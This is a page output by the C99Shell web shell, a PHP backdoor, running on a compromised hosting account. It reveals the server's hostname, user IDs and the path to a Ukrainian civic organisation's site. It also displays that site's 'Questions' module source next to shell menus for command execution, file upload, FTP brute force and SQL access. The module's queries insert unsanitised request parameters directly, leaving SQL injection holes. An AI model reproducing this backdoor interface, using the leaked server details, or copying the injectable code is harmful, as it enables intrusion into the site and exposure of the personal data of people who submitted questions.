!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/zt-tsou.org.ua/modules/questions/   drwxr-xr-x
Free 106.79 GB of 200.55 GB (53.25%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (17.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
    
function QuestionsCustomFunc(&$row)
    {    
        
$r "<a href=\"/admin-asynch.php?mod=Questions&generate&question_id={$row['question_id']}\"><img src=\"/admin/images/print.png\" border=\"0\" /></a> ";
        if (
$row['question_show'] == "Y")
            
$r .= "<img src=\"/admin/images/on.png\" />";
        else
            
$r .= "<img src=\"/admin/images/off.png\" />";
        if (
$row['question_send_date'] != "0000-00-00 00:00:00")
        {
            
$r .= "<img src=\"/admin/images/email.png\" />"
        }
        
$row["custom"] = "<div style=\"white-space:nowrap;\">".$r."</div>";
    }

class 
Questions
{
    var 
$UserMode   true;
    var 
$AdminMode  true;
    var 
$SearchMode false;
    var 
$PanelMode  false;
    var 
$UserAsynchMode true;
    var 
$AdminAsynchMode true;
    var 
$PersonsTable;
    var 
$QuestionsTable;
    var 
$Directory;
    var 
$ClassName 'Questions';
    var 
$RowsByPage 10;
    function 
Questions()
    {
        
$this->Directory dirname(__FILE__);    
        
$this->PersonsTable = new AMTable2('AMCMS_persons');
        
$this->PersonsTable->AddIndexField('person_id');
        
$this->PersonsTable->Module($this->ClassName);
        
$this->PersonsTable->AddPositionField("person_position");
        
$this->QuestionsTable = new AMTable2('AMCMS_questions');
        
$this->QuestionsTable->Module($this->ClassName);
        
$this->QuestionsTable->AddIndexField('question_id');    
    }
    function 
UserAsynch()
    {
        global 
$ulang$ULANG;
        if (isset(
$_GET['submit']))
        {
            if (
strlen($_POST['question_author_name']) < )
            {
                
$res["status"] = "error";
                
$res["error"]  = $ULANG['QuestionsErrorAuthorName'];
                echo 
json_encode($res);
                die;
            }
            if (
strlen($_POST['question_text']) < 10 )
            {
                
$res["status"] = "error";
                
$res["error"]  = $ULANG['QuestionsErrorQuestionText'];
                echo 
json_encode($res);
                die;
            }
            
                        
/*            (IsEmailCorrect($_POST['question_author_email']) == 0) )
            {
                $res["status"] = "error";
                $res["error"]  = $ULANG['QuestionsErrorEmailBad'];
                echo json_encode($res);
                die;
            }*/
/*            if (IsSpam($_POST['question_text']))
            {
                $res["status"] = "error";
                $res["error"]  = $ULANG['QuestionsErrorSpam'];
                echo json_encode($res);
                die;
            }*/
                        
            
$_POST['question_date'] = GetCurrentDateAndTime();
              
$id $this->QuestionsTable->Insert($_POST);
            
$res["status"]  = "ok";
            
$res["message"] = $ULANG['QuestionsSent'];
            echo 
json_encode($res);
        }
    }
    function 
GetPersonsUserTable()
    {
        global 
$language$ULANG;
        
$rows $this->PersonsTable->GetRows();
        
$html .= "<div class=\"CenteredHeader\"><span>{$ULANG['QuestionArchive']}</span></div>";
        
$html .= "<table align=\"center\">";
        foreach(
$rows as $key => $value)
        {
            
$html .= "<tr>";
            
$link MOD_REWRITE "/questions/{$value['person_id']}"?questions=1&person_id={$value['person_id']}";
            
$html .= "<td><a href=\"$link\">".$value['person_name_'.$language]." (".$value['person_occupation_'.$language].")</a></td>";
            
$html .= "</tr>";
        }
        
$html .= "</table>";    
        return 
$html;
    }
    function 
User()
    {                
         global 
$ULANG$ulang;
        
$smarty GetUserSmarty($this->ClassName);
        if (isset(
$_GET['person_id']))
        {
            
$person_id $_GET['person_id'];
            
$person $this->PersonsTable->GetRowById($_GET['person_id']);
            if (
$person == null)
            {
                
header("Location: /questions");
                return;                        
            }
            
$pageNum $_GET['pageNum'];
            if (
$pageNum <= || $pageNum >= 10000)
               
$pageNum 1;

            
$sql "SELECT COUNT(*) as count FROM AMCMS_questions WHERE (question_person_id = '{$person_id}') AND (question_show = 'Y') ORDER BY question_date DESC";
            
$res mysql_query($sql);
            
$row mysql_fetch_assoc($res);
            
$rowsCount $row['count'];               
               
            
$pageNavigator = new CPageNavigator($rowsCount$pageNum$this->RowsByPage);
            
$pageNavigatorHtml $pageNavigator->GetNavigator(""$ULANG['LawsPagesBlockName']);
            
$index = ($pageNum-1)*$this->RowsByPage;
            if (
$rowsCount 0)
                
$html .= $pageNavigatorHtml;

            
$start = ($pageNum 1)* $this->RowsByPage;
            
$sql "SELECT * FROM AMCMS_questions WHERE (question_person_id = '{$person_id}') AND (question_show = 'Y') ORDER BY question_date DESC LIMIT $start{$this->RowsByPage}";
            
$res mysql_query($sql);
            
$rows = array();
            
$i $start 1;
            while(
$row mysql_fetch_assoc($res))    
            {
                
$row['index'] = $i++;
                
$rows []= $row;   
            }
            
$smarty->assign("rows"$rows);
               
               
/*            $rowsCount = $this->QuestionsTable->GetCount("(question_person_id = '".$_GET['person_id']."') AND (question_show = 'Y')", 'question_id DESC');
            $pageNavigator = new CPageNavigator($rowsCount, $pageNum, $this->RowsByPage);
            $link = MOD_REWRITE ? '/questions/'.$_GET['person_id']."?p" : 'index.php?questions&person_id='.$_GET['person_id'];
            $pageNavigatorHtml = "<div class=\"PagesNavigator\">".$ULANG['Pages'].': '.$pageNavigator->GetNavigator($link)."</div>";
            $questions = $this->QuestionsTable->GetRows("(question_person_id = '".$_GET['person_id']."') AND (question_show = 'Y')", 'question_id DESC', ($pageNum - 1) * $this->RowsByPage, $this->RowsByPage);
            $index = ($pageNum-1)*$this->RowsByPage + 1;
            foreach($questions as $key => $value)
            {
                $html .= "<div class=\"QuestionAnswerBlock\">";
                $html .= "  <div class=\"Header\">";
                $html .= "  {$index}. ";                 
                $html .= "  {$value['question_text']}";                
                $html .= "  <div class=\"Author\">".$value['question_author_name']."</div>";
                $html .= "  </div>";                
                $html .= "  <div class=\"Answer\">".($value['question_answer'])."</div>";
                $html .= "</div>";
                $index++;                
            }
            $result['pageName'] = $person['person_name_'.$language];
            if (strlen($person['person_occupation_'.$language])> 1)
                $result['pageName'] .= ' ('. $person['person_occupation_'.$language].')';
            if ($rowsCount == 0)
                $result['pageHtml'] = '';
            else
                $result['pageHtml'] = $pageNavigatorHtml.$html.$pageNavigatorHtml;*/
            
$navigator = new AMNavigator();
            
$navigator->AddLinkGetParam("Module".$this->ClassName$ulang), "/questions");
            
$navigator->AddLink($person['person_name_'.$ulang],  "");
            
$result['Title'] = $person['person_name_'.$ulang];
            
$result['Content']   = $pageNavigatorHtml.$smarty->fetch("rows.tpl").$pageNavigatorHtml;
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;
            return 
$result;            
        }
//          if (isset($_GET['questions']))
        
{
            
$persons $this->PersonsTable->GetRows();
            
$smarty->assign("persons"$persons);
            
$smarty->assign("question_author_display_answer",     'Y');
            
$smarty->assign("question_author_email_send",         'Y');            
            
$navigator = new AMNavigator();
            
$navigator->AddLink(GetParam("Module".$this->ClassName$ulang), "/questions");

            
$result['Title']      = GetParam("Module".$this->ClassName$ulang);
            
$result['Content']   = $smarty->fetch("form.tpl");
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;
        }
    }    
    function 
Menu()
    {
        global 
$ALANG;
        if (isset(
$_GET['mod']) && ($_GET['mod'] == $this->ClassName))
        {
            return array(
                array(
'title' => $ALANG['QuestionsMenuPersonsAdd'],  'link' => '?mod='.$this->ClassName.'&person&add'),
                array(
'title' => $ALANG['QuestionsMenuPersonsList'], 'link' => '?mod='.$this->ClassName.'&persons&list'),
                array(
'title' => $ALANG['QuestionsMenuList'], 'link' => '?mod='.$this->ClassName.'&questions&list'),
                array(
'title' => $ALANG['QuestionsMenuNewList'], 'link' => '?mod='.$this->ClassName.'&questions&new&list'),
                );
        } else
        return 
"";        
    }
    function 
Admin()
    {
        global 
$ALANG$alang$_LANG_ID;

        
$smarty GetAdminSmarty($this->ClassName);
        if (isset(
$_GET['person']) && isset($_GET['add']))
        {
            if (isset(
$_POST['add']))
            {
                
$id $this->PersonsTable->Insert($_POST);
                
header("Location: ?mod=".$this->ClassName."&persons&list");
            }
            
$smarty->assign('oper''add');
              
$smarty->assign('person_active''Y');
            
$result['Title']     = $ALANG['QuestionsPersonsAdd'];
            
$result['Content']     = $smarty->fetch('person.tpl');
            return 
$result;
        }             
        if (isset(
$_GET['persons']) && isset($_GET['list']))
        {    
                
$fields     = array("person_name_".GetParam("DefaultLanguage"), "person_occupation_".GetParam("DefaultLanguage"));
                
$captions   = array($ALANG['Questions_person_name'], $ALANG['Questions_person_occupation']);
                
$order        "person_position DESC";
                
$links         = array("checkbox""delete""edit");
                
$multiple     = array("delete"    );
                
$params     = array("sortable" => "yes""id" => "persons");
                
$html $this->PersonsTable->GetAdminTable($fields$captions$conditions$order$links$multiple$params);                            
                
$result['Title']         = $ALANG['QuestionsPersonsList'];
                
$result['Content']       = $html;
                return 
$result;
        }        
        if (isset(
$_GET['edit']) && isset($_GET['person_id']))
        {
                if (isset(
$_POST['edit']))
                {
                    
$error $this->PersonsTable->Update($_POST$_GET['person_id']);
                    
header("Location: ?mod=".$this->ClassName."&persons&list");
                    die;
                }            
                
$row $this->PersonsTable->GetRowById($_GET['person_id']);
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                  
$smarty->assign($key$value);
                  
$smarty->assign('oper''edit');
                  
$result['Title']     = $ALANG['QuestionsPersonEdit'];
                  
$result['Content']     = $smarty->fetch('person.tpl');
                  return 
$result;                    
            }                              
            if (isset(
$_GET['questions']) && isset($_GET['new']))
            {                
                
$fields     = array("person_name_".GetParam("DefaultLanguage"), "question_date""question_author_name""custom""question_text");
                
$captions   = array("""""""""");
                
$conditions = array("question_person_id = person_id""(question_show = 'N') AND (question_send_date = '0000-00-00 00:00:00')");
                
$order        "question_date DESC";
                
$multiple     = array("delete");
                
$links         = array("checkbox""delete""edit");
                
$params     = array("id" => "questions""tables" => array('AMCMS_persons'), "function" => QuestionsCustomFunc);
                
$html         $this->QuestionsTable->GetAdminTable($fields$captions$conditions$order$links$multiple$params);
                
$result['Title']     = $ALANG['QuestionsNewList'];
                
$result['Content']  = $html;
                return 
$result;
            }        
            if (isset(
$_GET['questions']) && isset($_GET['list']))
            {                
                
$fields     = array("person_name_".GetParam("DefaultLanguage"), "question_date""question_author_name""custom""question_text");
                
$captions   = array("""""""""");
                
$conditions = array("question_person_id = person_id");
                
$order        "question_date DESC";
                
$multiple     = array("delete");
                
$links         = array("checkbox""delete""edit");
                
$params     = array("id" => "questions""tables" => array('AMCMS_persons'), "function" => QuestionsCustomFunc);
                
$html         $this->QuestionsTable->GetAdminTable($fields$captions$conditions$order$links$multiple$params);
                
$result['Title']     = $ALANG['QuestionsList'];
                
$result['Content']  = $html;
                return 
$result;
            }        
            if (isset(
$_GET['edit']) && isset($_GET['question_id']))
            {
                if (isset(
$_POST['edit']))
                {
                    
$row $this->QuestionsTable->GetRowById($_GET['question_id']);            
                    
$this->QuestionsTable->Update($_POST$_GET['question_id']);
                    
header("Location: ?mod=".$this->ClassName."&questions&list");
                    die;
                }
                
$row $this->QuestionsTable->GetRowById($_GET['question_id']);
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                  
$smarty->assign('oper''edit');
                  
$persons $this->PersonsTable->GetRows();
                
$smarty->assign('persons'$persons);                  
                  
$result['Title']     = $ALANG['QuestionsEdit'];
                  
$result['Content']     = $smarty->fetch('question.tpl');
                  return 
$result;                    
            }
                        
        
            
            if (isset(
$_GET['NewQuestionsList']))
            {                
                
$t = new AMAdminTable("SELECT AMCMS_persons.*, question_id, question_author_name, question_date, question_text, question_person_id, person_id, question_send_date,question_show FROM AMCMS_questions, AMCMS_persons WHERE (person_id = question_person_id) AND (question_show='N') ORDER BY question_date DESC""question_id");
                
$r 
                
$t->AllowCheckBox();
                
$t->AllowAjaxDelete($this->ClassName'questionDelete');
                
$t->AllowEdit  ('mod='.$this->ClassName.'&QuestionEdit&New');
                
$t->AddField('person_name_'.$DefaultAdminLanguage,  $ALANG['question_person_Short']);
                
$t->AddField('question_date',             $ALANG['question_date_Short'], true);
                
$t->AddField('question_author_name',     $ALANG['question_author_Short']);                
                
$t->AddCustomField(QuestionsCustomFunc);
                
$t->AddField('question_text',             $ALANG['question_text_Short']);
                
$result['pagename']      = $ALANG['NewQuestionsList'];
                
$result['pagetitle']     = $ALANG['NewQuestionsList'];
                
$result['Content']       = $t->Fetch();
                return 
$result;
            }                                            
    }        
    function 
AdminAsynch()
    {
        global 
$ALANG$alang;
        if (isset(
$_GET['generate']) && isset($_GET['question_id']))
        {
            
$question $this->QuestionsTable->GetRowById($_GET['question_id']);
            
$person   $this->PersonsTable->GetRowById($question['question_person_id']);
            require 
"modules-alien/phprtflite/lib/PHPRtfLite.php";
            
PHPRtfLite::registerAutoloader();
                
            
$rtf = new PHPRtfLite();
            
$sect $rtf->addSection();                
            
$table $sect->addTable();
            
$table->addColumn("5");
            
$table->addColumn("10");

            
$par = new PHPRtfLite_ParFormat();
            
$par->setIndentRight(0);
            
$par->setIndentLeft(1);
            
$par->setBackgroundColor('#FFFFFF');
            
$par->setSpaceBefore(12);

        
            
$table->addRows(1);
            
$row 1;
            
$cell $table->getCell($row1);
            
$cell->writeText("Дата: ", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
            
$cell $table->getCell($row++, 2);
            
$cell->writeText(GetUsefulDate("{$question['question_date']}"truetrue), new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));

            
$table->addRows(1);
            
$cell $table->getCell($row1);
            
$cell->writeText("Кому задан вопрос: ", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
            
$cell $table->getCell($row++, 2);
            
$cell->writeText("{$person['person_name_'.GetParam('DefaultLanguage')]}", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
            
            
$table->addRows(1);
            
$cell $table->getCell($row1);
            
$cell->writeText("Автор вопроса: ", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
            
$cell $table->getCell($row++, 2);
            
$cell->writeText("{$question['question_author_name']}", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));

            if (
strlen($question['question_author_email']) > 2)
            {
                
$table->addRows(1);
                
$cell $table->getCell($row1);
                
$cell->writeText("E-mail: ", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
                
$cell $table->getCell($row++, 2);
                
$cell->writeText("{$question['question_author_email']}", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
            }
            if (
strlen($question['question_author_phone']) > 2)
            {
                
$table->addRows(1);
                
$cell $table->getCell($row1);
                
$cell->writeText("Телефон: ", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
                
$cell $table->getCell($row++, 2);
                
$cell->writeText("{$question['question_author_phone']}", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
            }
            if (
strlen($question['question_author_address']) > 2)
            {
                
$table->addRows(1);
                
$cell $table->getCell($row1);
                
$cell->writeText("Адрес: ", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
                
$cell $table->getCell($row++, 2);
                
$cell->writeText("{$question['question_author_address']}", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
            }
            if (
strlen($question['question_text']) > 2)
            {
                
$table->addRows(1);
                
$cell $table->getCell($row1);
                
$cell->writeText("Текст вопроса: ", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
                
$cell $table->getCell($row++, 2);
                
$cell->writeText("{$question['question_text']}", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
            }
            if (
strlen($question['question_answer']) > 10)
            {
                
$table->addRows(1);
                
$cell $table->getCell($row1);
                
$cell->writeText("Текст ответа: ", new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
                
$cell $table->getCell($row++, 2);
                
$cell->writeText(str_replace("&quot;""\"",str_replace("&nbsp;"""strip_tags("{$question['question_answer']}"))), new PHPRtfLite_Font(12), new PHPRtfLite_ParFormat('left'));
            }                            

            
            
$rtf->sendRtf('Интернет-приёмная - #'.$_GET['question_id']);
            die;
        }            
        if (isset(
$_GET['question_id']) && isset($_POST['edit']))
        {
            
$row $this->QuestionsTable->GetRowById($_GET['question_id']);            
            
$this->QuestionsTable->Update($_POST$_GET['question_id']);
            
$res["status"] = "ok";
            echo 
json_encode($res);
            return;            
        }
        if (isset(
$_GET['question_id']) && isset($_GET['send']))
        {
            
$row $this->QuestionsTable->GetRowById($_GET['question_id']);
            
$date GetCurrentDateAndTime();
            
$headers  "Content-type: text/html; charset=utf-8 \r\n";
            
$headers .= "From: ".GetParam('ContactEmail')." <Житомирська ОО ТСОУ>\r\n";                
            
mail($row['question_author_email'], "Відповідь на звернення"$row['question_answer'],$headers);
            
$sql "UPDATE AMCMS_questions SET question_send_date = '$date' WHERE question_id = '{$_GET['question_id']}'";
            
mysql_query($sql);
            
$res["date"]   = GetUsefulDate($datetruetrue);
            
$res["status"] = "ok";
            echo 
json_encode($res);            
            return;
        }    
        
$this->QuestionsTable->Run($_POST);
        
$this->PersonsTable->Run($_POST);        
    }        


$Modules ['Questions'] = new Questions();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0099 ]--